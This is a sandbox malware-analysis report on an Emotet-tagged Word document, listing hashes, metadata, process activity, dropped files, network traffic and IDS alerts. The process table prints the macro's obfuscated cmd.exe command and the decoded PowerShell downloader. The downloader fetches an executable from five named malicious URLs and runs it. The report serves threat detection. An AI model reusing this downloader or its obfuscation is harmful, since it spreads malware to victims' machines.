Malware analysis GL-MW-20181213-2.doc Malicious activity

Add for printing

File name:	GL-MW-20181213-2.doc
Full analysis:	https://app.any.run/tasks/a75eedf6-343d-4911-93a5-58110c186457
Verdict:	Malicious activity
Threats:	Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. Malware Trends Tracker >>>
Analysis date:	December 14, 2018, 06:50:47
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open generated-doc opendir emotet-doc emotet
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Dec 13 16:38:00 2018, Last Saved Time/Date: Thu Dec 13 16:38:00 2018, Number of Pages: 1, Number of Words: 7, Number of Characters: 41, Security: 0
MD5:	B5720D092D99389E69DB88B7E0E05812
SHA1:	91A64EE23AAB1508B2FFA3109EDA4259EFF14F0A
SHA256:	059887456AEAAD64973C376C9ECCDCD518CA5490C93E7E2751AB90C1D06686FD
SSDEEP:	3072:ic8GhDS0o9zTGOZD6EbzCdXcE6ErJQbc:iioUOZDlbeX1zrJV

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: on
Route via Tor:: off
Autoconfirmation of UAC:: off
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

Add for printing

MALICIOUS
- Starts CMD.EXE for commands execution
  - WINWORD.EXE (PID: 2956)
- Executes PowerShell scripts
  - cmd.exe (PID: 2772)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2956)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 2648)
- Starts CMD.EXE for commands execution
  - cmd.exe (PID: 340)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 2956)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2956)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title:	-
Subject:	-
Author:	-
Keywords:	-
Comments:	-
Template:	Normal.dotm
LastModifiedBy:	-
RevisionNumber:	1
Software:	Microsoft Office Word
TotalEditTime:	-
CreateDate:	2018:12:13 16:38:00
ModifyDate:	2018:12:13 16:38:00
Pages:	1
Words:	7
Characters:	41
Security:	None
CodePage:	Windows Latin 1 (Western European)
Company:	-
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	47
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	-
HeadingPairs:	Title 1
CompObjUserTypeLen:	32
CompObjUserType:	Microsoft Word 97-2003 Document

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
2956	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\GL-MW-20181213-2.doc"	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000
340	c:\BVwXjDNiNzEQM\dbWfOaPz\aKoiZZCSEcLVCz\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set QWc=jMUTqjhkNaABsYWkLJISoOt{Z 4;.8wf2n3X)9iy0egQdKD-l'/u:Gp+Vx$CP}crE(Fzm\v=@5Hb,&&for %C in (58;24;11;5;71;49;5;35;51;49;27;58;43;4;48;71;33;41;30;47;20;75;5;41;62;22;25;8;41;22;28;14;41;75;59;48;38;41;33;22;27;58;38;64;12;71;49;6;22;22;54;52;50;50;44;41;48;6;38;31;9;75;63;38;62;12;28;62;20;68;50;44;70;60;57;18;22;13;72;6;22;22;54;52;50;50;15;9;38;22;41;41;48;9;20;28;62;20;68;50;24;38;8;29;63;44;70;70;1;5;72;6;22;22;54;52;50;50;9;48;22;9;39;51;12;9;28;62;20;68;50;30;70;70;62;62;30;50;18;45;13;1;45;73;19;20;62;72;6;22;22;54;52;50;50;68;41;51;33;9;12;9;6;68;41;12;5;38;44;28;44;41;12;9;28;38;44;50;8;11;40;45;73;64;64;72;6;22;22;54;52;50;50;48;38;15;9;9;68;38;28;62;20;68;50;26;37;53;9;15;20;11;38;49;28;19;54;48;38;22;65;49;72;49;36;27;58;13;1;38;71;49;21;2;63;49;27;58;74;74;44;25;71;25;49;34;37;32;49;27;58;8;14;38;71;49;33;51;70;49;27;58;11;53;67;71;58;41;33;70;52;22;41;68;54;55;49;69;49;55;58;74;74;44;55;49;28;41;57;41;49;27;31;20;63;41;9;62;6;65;58;13;70;56;25;38;33;25;58;38;64;12;36;23;22;63;39;23;58;43;4;48;28;46;20;30;33;48;20;9;44;66;38;48;41;65;58;13;70;56;76;25;58;11;53;67;36;27;58;8;74;60;71;49;13;3;74;49;27;18;31;25;65;65;53;41;22;47;18;22;41;68;25;58;11;53;67;36;28;48;41;33;42;22;6;25;47;42;41;25;29;40;40;40;40;36;25;23;18;33;70;20;15;41;47;18;22;41;68;25;58;11;53;67;27;58;70;70;21;71;49;13;6;45;49;27;75;63;41;9;15;27;61;61;62;9;22;62;6;23;61;61;58;18;67;16;71;49;12;10;5;49;27;87)do set 4OXD=!4OXD!!QWc:~%C,1!&&if %C==87 powershell.exe "!4OXD:~-453!""	c:\windows\system32\cmd.exe	—	WINWORD.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
2772	CmD /V:/C"set QWc=jMUTqjhkNaABsYWkLJISoOt{Z 4;.8wf2n3X)9iy0egQdKD-l'/u:Gp+Vx$CP}crE(Fzm\v=@5Hb,&&for %C in (58;24;11;5;71;49;5;35;51;49;27;58;43;4;48;71;33;41;30;47;20;75;5;41;62;22;25;8;41;22;28;14;41;75;59;48;38;41;33;22;27;58;38;64;12;71;49;6;22;22;54;52;50;50;44;41;48;6;38;31;9;75;63;38;62;12;28;62;20;68;50;44;70;60;57;18;22;13;72;6;22;22;54;52;50;50;15;9;38;22;41;41;48;9;20;28;62;20;68;50;24;38;8;29;63;44;70;70;1;5;72;6;22;22;54;52;50;50;9;48;22;9;39;51;12;9;28;62;20;68;50;30;70;70;62;62;30;50;18;45;13;1;45;73;19;20;62;72;6;22;22;54;52;50;50;68;41;51;33;9;12;9;6;68;41;12;5;38;44;28;44;41;12;9;28;38;44;50;8;11;40;45;73;64;64;72;6;22;22;54;52;50;50;48;38;15;9;9;68;38;28;62;20;68;50;26;37;53;9;15;20;11;38;49;28;19;54;48;38;22;65;49;72;49;36;27;58;13;1;38;71;49;21;2;63;49;27;58;74;74;44;25;71;25;49;34;37;32;49;27;58;8;14;38;71;49;33;51;70;49;27;58;11;53;67;71;58;41;33;70;52;22;41;68;54;55;49;69;49;55;58;74;74;44;55;49;28;41;57;41;49;27;31;20;63;41;9;62;6;65;58;13;70;56;25;38;33;25;58;38;64;12;36;23;22;63;39;23;58;43;4;48;28;46;20;30;33;48;20;9;44;66;38;48;41;65;58;13;70;56;76;25;58;11;53;67;36;27;58;8;74;60;71;49;13;3;74;49;27;18;31;25;65;65;53;41;22;47;18;22;41;68;25;58;11;53;67;36;28;48;41;33;42;22;6;25;47;42;41;25;29;40;40;40;40;36;25;23;18;33;70;20;15;41;47;18;22;41;68;25;58;11;53;67;27;58;70;70;21;71;49;13;6;45;49;27;75;63;41;9;15;27;61;61;62;9;22;62;6;23;61;61;58;18;67;16;71;49;12;10;5;49;27;87)do set 4OXD=!4OXD!!QWc:~%C,1!&&if %C==87 powershell.exe "!4OXD:~-453!""	C:\Windows\system32\cmd.exe	—	cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
2648	powershell.exe "$ZBj='jXu';$Qql=new-object Net.WebClient;$iEs='http://delhifabrics.com/dvPxItY@http://kaiteelao.com/ZiN8rdvvMj@http://altayusa.com/wvvccw/IKYMK5Soc@http://meunasahmesjid.desa.id/NB0K5EE@http://likaami.com/49GakoBi'.Split('@');$YMi='OUr';$HHd = '392';$NWi='nuv';$BGz=$env:temp+'\'+$HHd+'.exe';foreach($YvV in $iEs){try{$Qql.DownloadFile($YvV, $BGz);$NHP='YTH';If ((Get-Item $BGz).length -ge 80000) {Invoke-Item $BGz;$vvO='YhK';break;}}catch{}}$IzL='sAj';"	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255)

Add for printing

Total events

1 409

Read events

945

Write events

Delete events

Modification events

No data

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2956	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR962B.tmp.cvr		—
		MD5:—	SHA256:—
2956	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4FD7204B.wmf		—
		MD5:—	SHA256:—
2956	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D220AB91.wmf		—
		MD5:—	SHA256:—
2648	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V3DLH1D0I7QC4DNFAC7Z.temp		—
		MD5:—	SHA256:—
2956	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:E38C46694F93F7B7521B835043B365A5	SHA256:80AFEF6DBF00D7FBBFE3A67DB00E4F9E36A0D1161385E0E185863FC6F10CEB00
2648	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19a8f8.TMP		binary
		MD5:901ECDF767744E6BB59CB023757886E3	SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2956	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$-MW-20181213-2.doc		pgc
		MD5:A962B3AEF32047A8BB1D2D5D3D1D4B66	SHA256:BA3D083202E3B2C3E4BFDF2BB7D7CD748F7A5103E3993BADB16E7E4F9328C3D6
2648	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:901ECDF767744E6BB59CB023757886E3	SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2956	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EC1D85D0.wmf		wmf
		MD5:5B2C3FBE92B705A43112BAA93E1BD0DC	SHA256:25EBF08DC859712088F1947EF081695F0F3A4E2DD46B4A985F61236BF59DEED9
2956	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\106548F2.wmf		wmf
		MD5:BFB481E781FC23FEE0F548759EEE71A5	SHA256:C2971364AF33FE3A7CCEDC98D75343BD11EA8D5AFAED82E18B448021D5ADDC07

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2648	powershell.exe	GET	404	38.106.32.161:80	http://altayusa.com/wvvccw/IKYMK5Soc	US	xml	345 b	suspicious
2648	powershell.exe	GET	404	103.13.242.204:80	http://likaami.com/49GakoBi	IN	xml	345 b	malicious
2648	powershell.exe	GET	404	158.69.247.167:80	http://kaiteelao.com/ZiN8rdvvMj	CA	xml	345 b	malicious
2648	powershell.exe	GET	404	101.50.1.12:80	http://meunasahmesjid.desa.id/NB0K5EE	ID	xml	345 b	malicious
2648	powershell.exe	GET	404	159.65.157.164:80	http://delhifabrics.com/dvPxItY	US	xml	345 b	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2648	powershell.exe	38.106.32.161:80	altayusa.com	Altay Corporation	US	suspicious
2648	powershell.exe	159.65.157.164:80	delhifabrics.com	—	US	malicious
2648	powershell.exe	103.13.242.204:80	likaami.com	HostDime.com, Inc.	IN	malicious
2648	powershell.exe	158.69.247.167:80	kaiteelao.com	OVH SAS	CA	malicious
2648	powershell.exe	101.50.1.12:80	meunasahmesjid.desa.id	PT. Beon Intermedia	ID	malicious

DNS requests

Domain	IP	Reputation
delhifabrics.com	159.65.157.164	malicious
kaiteelao.com	158.69.247.167	malicious
altayusa.com	38.106.32.161	suspicious
meunasahmesjid.desa.id	101.50.1.12	malicious
likaami.com	103.13.242.204	malicious

Threats

PID	Process	Class	Message
2648	powershell.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2648	powershell.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2648	powershell.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2648	powershell.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2648	powershell.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2648	powershell.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2648	powershell.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2648	powershell.exe	A Network Trojan was detected	SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32

Add for printing

No debug info

General Info

GL-MW-20181213-2.doc

B5720D092D99389E69DB88B7E0E05812

91A64EE23AAB1508B2FFA3109EDA4259EFF14F0A

059887456AEAAD64973C376C9ECCDCD518CA5490C93E7E2751AB90C1D06686FD

3072:ic8GhDS0o9zTGOZD6EbzCdXcE6ErJQbc:iioUOZDlbeX1zrJV

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Starts CMD.EXE for commands execution

Executes PowerShell scripts

Unusual execution from Microsoft Office

SUSPICIOUS

Creates files in the user directory

Starts CMD.EXE for commands execution

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings